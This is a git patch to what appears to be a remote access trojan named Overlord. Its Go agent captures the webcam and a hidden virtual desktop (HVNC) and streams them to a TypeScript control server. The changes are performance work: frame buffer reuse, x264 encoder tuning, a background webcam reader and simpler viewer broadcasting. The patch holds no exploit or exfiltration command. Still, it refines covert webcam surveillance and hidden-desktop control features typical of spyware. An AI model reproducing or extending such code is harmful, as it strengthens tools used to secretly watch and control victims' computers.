From 225bc9e377dd0e76ffa49c762551afba16149efc Mon Sep 17 00:00:00 2001 From: KingKDot Date: Fri, 13 Mar 2026 09:28:16 -0500 Subject: [PATCH] optimize remote desktop, hvnc and webcam stuff. Fix issues with webcam frames getting super slow out of nowhere because of backup. Also remove compression since we rarely use it + H264 already compresses. Most things we send either way are so small where compression just adds CPU overhead that isn't needed. --- Overlord-Client/cmd/agent/capture/capture.go | 14 ++- .../cmd/agent/capture/h264_encoder_stub.go | 2 + .../cmd/agent/capture/h264_encoder_x264.go | 63 +++++++--- Overlord-Client/cmd/agent/capture/jpeg_std.go | 19 ++- .../cmd/agent/capture/webcam_windows.go | 106 ++++++++++++---- Overlord-Client/cmd/agent/handlers/desktop.go | 1 + Overlord-Client/cmd/agent/handlers/hvnc.go | 1 + Overlord-Server/public/assets/webcam.js | 27 +++-- .../src/server/websocket-runtime.ts | 2 +- .../src/server/ws-console-rd-hvnc.ts | 113 ++++++++++-------- 10 files changed, 241 insertions(+), 107 deletions(-) diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index a47e56e..47471a0 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -1169,9 +1169,17 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin func copyPrev(img *image.RGBA) { width := img.Bounds().Dx() height := img.Bounds().Dy() - buf := make([]byte, len(img.Pix)) - copy(buf, img.Pix) - prevFrame = &prevImage{w: width, h: height, pix: buf} + n := len(img.Pix) + if prevFrame != nil && cap(prevFrame.pix) >= n { + prevFrame.w = width + prevFrame.h = height + prevFrame.pix = prevFrame.pix[:n] + copy(prevFrame.pix, img.Pix) + } else { + buf := make([]byte, n) + copy(buf, img.Pix) + prevFrame = &prevImage{w: width, h: height, pix: buf} + } } func encodeBlockRaw(img *image.RGBA, x, y, w, h int) []byte { diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go b/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go index c120d2a..3f1ba64 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go @@ -20,3 +20,5 @@ func h264AvailabilityDetail() string { } func resetH264Encoder() {} + +func SetH264TargetFPS(_ int) {} diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go b/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go index 0c2bb0b..e1ea713 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go @@ -7,17 +7,21 @@ import ( "fmt" "image" "sync" + "sync/atomic" x264 "github.com/gen2brain/x264-go" ) var ( - h264Mu sync.Mutex - h264Enc *x264.Encoder - h264Buf bytes.Buffer - h264Width int - h264Height int - h264LastErr error + h264Mu sync.Mutex + h264Enc *x264.Encoder + h264Buf bytes.Buffer + h264Width int + h264Height int + h264FPS int + h264LastErr error + h264Scratch []byte + h264TargetFPS atomic.Int64 // set by the stream handler; default 60 ) func encodeH264Frame(img *image.RGBA) ([]byte, error) { @@ -40,9 +44,17 @@ func encodeH264Frame(img *image.RGBA) ([]byte, error) { } h264LastErr = nil - out := make([]byte, h264Buf.Len()) - copy(out, h264Buf.Bytes()) - return out, nil + n := h264Buf.Len() + if n == 0 { + return nil, nil + } + if cap(h264Scratch) < n { + h264Scratch = make([]byte, n, n+(n/4)) + } else { + h264Scratch = h264Scratch[:n] + } + copy(h264Scratch, h264Buf.Bytes()) + return h264Scratch, nil } func h264Available() bool { @@ -58,8 +70,27 @@ func h264AvailabilityDetail() string { return "cgo build with x264-go" } +// SetH264TargetFPS sets the frame rate hint for the x264 encoder so its +// rate-control matches the actual capture cadence. Call this before (or +// when) streaming starts. The encoder is automatically re-created on the +// next frame if the value differs from the current one. +func SetH264TargetFPS(fps int) { + if fps < 1 { + fps = 1 + } + h264TargetFPS.Store(int64(fps)) +} + +func activeH264FPS() int { + if v := int(h264TargetFPS.Load()); v > 0 { + return v + } + return 60 // sensible default for desktop streaming +} + func ensureH264EncoderLocked(width, height int) error { - if h264Enc != nil && h264Width == width && h264Height == height { + fps := activeH264FPS() + if h264Enc != nil && h264Width == width && h264Height == height && h264FPS == fps { return nil } @@ -68,12 +99,12 @@ func ensureH264EncoderLocked(width, height int) error { opts := &x264.Options{ Width: width, Height: height, - FrameRate: 120, - Tune: "zerolatency,fastdecode", - Preset: "ultrafast", - Profile: "baseline", + FrameRate: fps, + Tune: "zerolatency", + Preset: "veryfast", + Profile: "main", RateControl: "crf", - RateConstant: 30, + RateConstant: 23, LogLevel: x264.LogError, } @@ -85,6 +116,7 @@ func ensureH264EncoderLocked(width, height int) error { h264Enc = enc h264Width = width h264Height = height + h264FPS = fps return nil } @@ -101,5 +133,6 @@ func closeH264EncoderLocked() { } h264Width = 0 h264Height = 0 + h264FPS = 0 h264Buf.Reset() } diff --git a/Overlord-Client/cmd/agent/capture/jpeg_std.go b/Overlord-Client/cmd/agent/capture/jpeg_std.go index cd3115b..524b474 100644 --- a/Overlord-Client/cmd/agent/capture/jpeg_std.go +++ b/Overlord-Client/cmd/agent/capture/jpeg_std.go @@ -4,13 +4,26 @@ import ( "bytes" "image" "image/jpeg" + "sync" ) +var jpegBufPool = sync.Pool{ + New: func() interface{} { + b := bytes.NewBuffer(make([]byte, 0, 128*1024)) + return b + }, +} + func encodeJPEG(img image.Image, quality int) ([]byte, error) { - buf := bytes.Buffer{} - err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: quality}) + buf := jpegBufPool.Get().(*bytes.Buffer) + buf.Reset() + err := jpeg.Encode(buf, img, &jpeg.Options{Quality: quality}) if err != nil { + jpegBufPool.Put(buf) return nil, err } - return buf.Bytes(), nil + out := make([]byte, buf.Len()) + copy(out, buf.Bytes()) + jpegBufPool.Put(buf) + return out, nil } diff --git a/Overlord-Client/cmd/agent/capture/webcam_windows.go b/Overlord-Client/cmd/agent/capture/webcam_windows.go index b1055f5..c15221b 100644 --- a/Overlord-Client/cmd/agent/capture/webcam_windows.go +++ b/Overlord-Client/cmd/agent/capture/webcam_windows.go @@ -22,6 +22,67 @@ type webcamState struct { capture *cam.CaptureSync format string captureFPS float64 + + latestMu sync.Mutex + latestBytes []byte + + stopCh chan struct{} + readerDone chan struct{} +} + +func (s *webcamState) startReader() { + go func() { + defer close(s.readerDone) + for { + select { + case <-s.stopCh: + return + default: + } + + sample, err := s.capture.GetFrame() + if err != nil { + select { + case <-s.stopCh: + return + default: + time.Sleep(20 * time.Millisecond) + continue + } + } + if sample == nil || sample.PpSample == nil { + if sample != nil { + sample.Release() + } + continue + } + + buffer, err := s.capture.Device.ParseSampleToBuffer(sample.PpSample) + if err != nil { + sample.Release() + select { + case <-s.stopCh: + return + default: + time.Sleep(20 * time.Millisecond) + continue + } + } + if buffer == nil { + sample.Release() + continue + } + + frameBytes := make([]byte, int(buffer.Length)) + copy(frameBytes, buffer.Buffer[:buffer.Length]) + buffer.Release() + sample.Release() + + s.latestMu.Lock() + s.latestBytes = frameBytes + s.latestMu.Unlock() + } + }() } var ( @@ -35,35 +96,27 @@ func NowWebcam(ctx context.Context, env *rt.Env) error { return nil } - capture, deviceIndex, format, err := ensureWebcamCapture(env.WebcamDeviceIndex) + _, deviceIndex, format, err := ensureWebcamCapture(env.WebcamDeviceIndex) if err != nil { return err } - sample, err := capture.GetFrame() - if err != nil { - resetWebcamState() - return err - } - if sample == nil || sample.PpSample == nil { + webcamMu.Lock() + state := webcamActive + webcamMu.Unlock() + + if state == nil { return nil } - buffer, err := capture.Device.ParseSampleToBuffer(sample.PpSample) - if err != nil { - sample.Release() - return err - } - if buffer == nil { - sample.Release() + state.latestMu.Lock() + frameBytes := state.latestBytes + state.latestMu.Unlock() + + if frameBytes == nil { return nil } - frameBytes := make([]byte, int(buffer.Length)) - copy(frameBytes, buffer.Buffer[:buffer.Length]) - buffer.Release() - sample.Release() - frame := wire.Frame{ Type: "frame", Header: wire.FrameHeader{ @@ -153,7 +206,10 @@ func ensureWebcamCapture(requestedIndex int) (*cam.CaptureSync, int, string, err capture: capture, format: selectedFormat, captureFPS: selected.Fps, + stopCh: make(chan struct{}), + readerDone: make(chan struct{}), } + webcamActive.startReader() log.Printf("webcam: selected device=%q index=%d format=%s %dx%d@%.2ffps", deviceInfo.Name, requestedIndex, selectedFormat, selected.Width, selected.Height, selected.Fps) return capture, requestedIndex, selectedFormat, nil } @@ -224,15 +280,19 @@ func formatScore(format *cam.CaptureFormats) float64 { func resetWebcamState() { webcamMu.Lock() defer webcamMu.Unlock() - if webcamActive != nil { - webcamActive.device.CloseDevice() - webcamActive = nil - } + closeWebcamLocked() } func closeWebcamLocked() { if webcamActive != nil { + close(webcamActive.stopCh) webcamActive.device.CloseDevice() + readerDone := webcamActive.readerDone webcamActive = nil + + select { + case <-readerDone: + case <-time.After(500 * time.Millisecond): + } } } diff --git a/Overlord-Client/cmd/agent/handlers/desktop.go b/Overlord-Client/cmd/agent/handlers/desktop.go index 498704e..6628f0b 100644 --- a/Overlord-Client/cmd/agent/handlers/desktop.go +++ b/Overlord-Client/cmd/agent/handlers/desktop.go @@ -32,6 +32,7 @@ func DesktopStart(ctx context.Context, env *rt.Env) error { fps = 60 interval = time.Second / time.Duration(fps) } + capture.SetH264TargetFPS(fps) log.Printf("desktop: starting stream (target fps %d)", fps) ticker := time.NewTicker(interval) defer ticker.Stop() diff --git a/Overlord-Client/cmd/agent/handlers/hvnc.go b/Overlord-Client/cmd/agent/handlers/hvnc.go index 403f469..b3fa7c6 100644 --- a/Overlord-Client/cmd/agent/handlers/hvnc.go +++ b/Overlord-Client/cmd/agent/handlers/hvnc.go @@ -28,6 +28,7 @@ func GetPersistedHVNCDisplay() int { func HVNCStart(ctx context.Context, env *rt.Env) error { interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30) + capture.SetH264TargetFPS(fps) log.Printf("hvnc: starting stream (max fps %d)", fps) if err := capture.InitializeHVNCDesktop(); err != nil { diff --git a/Overlord-Server/public/assets/webcam.js b/Overlord-Server/public/assets/webcam.js index 281a301..bb7ac9e 100644 --- a/Overlord-Server/public/assets/webcam.js +++ b/Overlord-Server/public/assets/webcam.js @@ -32,6 +32,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; let availableDevices = []; let selectedDeviceIndex = 0; let hasRenderedFrame = false; + let drawPending = false; function buildScreenshotFilename() { const ts = new Date().toISOString().replace(/[:.]/g, "-"); @@ -243,15 +244,23 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; } async function drawJpeg(bytes) { - const blob = new Blob([bytes], { type: "image/jpeg" }); - const bitmap = await createImageBitmap(blob); - canvas.width = bitmap.width; - canvas.height = bitmap.height; - ctx.drawImage(bitmap, 0, 0, bitmap.width, bitmap.height); - hasRenderedFrame = true; - bitmap.close(); - updateViewerFps(); - setStreamState("streaming", "Streaming"); + if (drawPending) return; + drawPending = true; + try { + const blob = new Blob([bytes], { type: "image/jpeg" }); + const bitmap = await createImageBitmap(blob); + if (canvas.width !== bitmap.width || canvas.height !== bitmap.height) { + canvas.width = bitmap.width; + canvas.height = bitmap.height; + } + ctx.drawImage(bitmap, 0, 0, canvas.width, canvas.height); + hasRenderedFrame = true; + bitmap.close(); + updateViewerFps(); + setStreamState("streaming", "Streaming"); + } finally { + drawPending = false; + } } function handleFrame(data) { diff --git a/Overlord-Server/src/server/websocket-runtime.ts b/Overlord-Server/src/server/websocket-runtime.ts index 85f13b4..d4b1f1a 100644 --- a/Overlord-Server/src/server/websocket-runtime.ts +++ b/Overlord-Server/src/server/websocket-runtime.ts @@ -27,7 +27,7 @@ export function createWebSocketRuntime(deps: { handleWebSocketMessage: MessageHandler; handleWebSocketClose: CloseHandler; }) { - const wsDeflateEnabled = String(process.env.OVERLORD_WS_PERMESSAGE_DEFLATE || "true") + const wsDeflateEnabled = String(process.env.OVERLORD_WS_PERMESSAGE_DEFLATE || "false") .trim() .toLowerCase() !== "false"; diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 59ba3d5..5252b05 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -64,26 +64,7 @@ function safeSendViewer(ws: ServerWebSocket, payload: unknown) { function safeSendViewerFrame(ws: ServerWebSocket, bytes: Uint8Array, header?: any): number { try { - const meta = new Uint8Array(8); - meta[0] = 0x46; - meta[1] = 0x52; - meta[2] = 0x4d; - meta[3] = 1; - meta[4] = (header?.monitor ?? 0) & 0xff; - meta[5] = (header?.fps ?? 0) & 0xff; - const fmt = header?.format === "blocks" - ? 2 - : header?.format === "blocks_raw" - ? 3 - : header?.format === "h264" - ? 4 - : 1; - meta[6] = fmt; - meta[7] = 0; - - const buf = new Uint8Array(meta.length + bytes.length); - buf.set(meta, 0); - buf.set(bytes, meta.length); + const buf = buildViewerFrameBuffer(bytes, header); ws.send(buf); metrics.recordBytesSent(buf.length); return buf.length; @@ -93,6 +74,57 @@ function safeSendViewerFrame(ws: ServerWebSocket, bytes: Uint8Array, } } +function buildViewerFrameBuffer(bytes: Uint8Array, header?: any): Uint8Array { + const meta = new Uint8Array(8); + meta[0] = 0x46; + meta[1] = 0x52; + meta[2] = 0x4d; + meta[3] = 1; + meta[4] = (header?.monitor ?? 0) & 0xff; + meta[5] = (header?.fps ?? 0) & 0xff; + const fmt = header?.format === "blocks" + ? 2 + : header?.format === "blocks_raw" + ? 3 + : header?.format === "h264" + ? 4 + : 1; + meta[6] = fmt; + meta[7] = 0; + + const buf = new Uint8Array(8 + bytes.length); + buf.set(meta, 0); + buf.set(bytes, 8); + return buf; +} + +function broadcastFrameToViewers( + sessions: Iterable<{ viewer: ServerWebSocket }>, + buf: Uint8Array, + header?: any, +): boolean { + let sent = false; + const t0 = performance.now(); + const byteLen = buf.length; + for (const session of sessions) { + try { + session.viewer.send(buf); + metrics.recordBytesSent(byteLen); + sent = true; + } catch (err) { + logger.error("[rd] viewer frame send failed", err); + } + } + const elapsed = performance.now() - t0; + if (sent) { + rdSendStats.frames += 1; + rdSendStats.bytes += byteLen; + rdSendStats.sendMs += elapsed; + } + logRdSend(header); + return sent; +} + const rdSendStats = { lastLog: 0, frames: 0, sendMs: 0, bytes: 0 }; export const rdStreamingState = new Map { - let sent = false; - const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now(); - for (const session of sessionManager.getRdSessionsForClient(clientId)) { - const sentBytes = safeSendViewerFrame(session.viewer, bytes, header); - const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now(); - rdSendStats.frames += 1; - rdSendStats.bytes += sentBytes; - rdSendStats.sendMs += t1 - t0; - sent = true; - } - logRdSend(header); - return sent; + const buf = buildViewerFrameBuffer(bytes, header); + return broadcastFrameToViewers(sessionManager.getRdSessionsForClient(clientId), buf, header); }; export const hvncStreamingState = new Map(); @@ -674,21 +689,13 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload } (globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => { - let sent = false; - for (const session of sessionManager.getHvncSessionsForClient(clientId)) { - safeSendViewerFrame(session.viewer, bytes, header); - sent = true; - } - return sent; + const buf = buildViewerFrameBuffer(bytes, header); + return broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header); }; (globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => { - let sent = false; - for (const session of sessionManager.getWebcamSessionsForClient(clientId)) { - safeSendViewerFrame(session.viewer, bytes, header); - sent = true; - } - return sent; + const buf = buildViewerFrameBuffer(bytes, header); + return broadcastFrameToViewers(sessionManager.getWebcamSessionsForClient(clientId), buf, header); }; const textDecoder = new TextDecoder();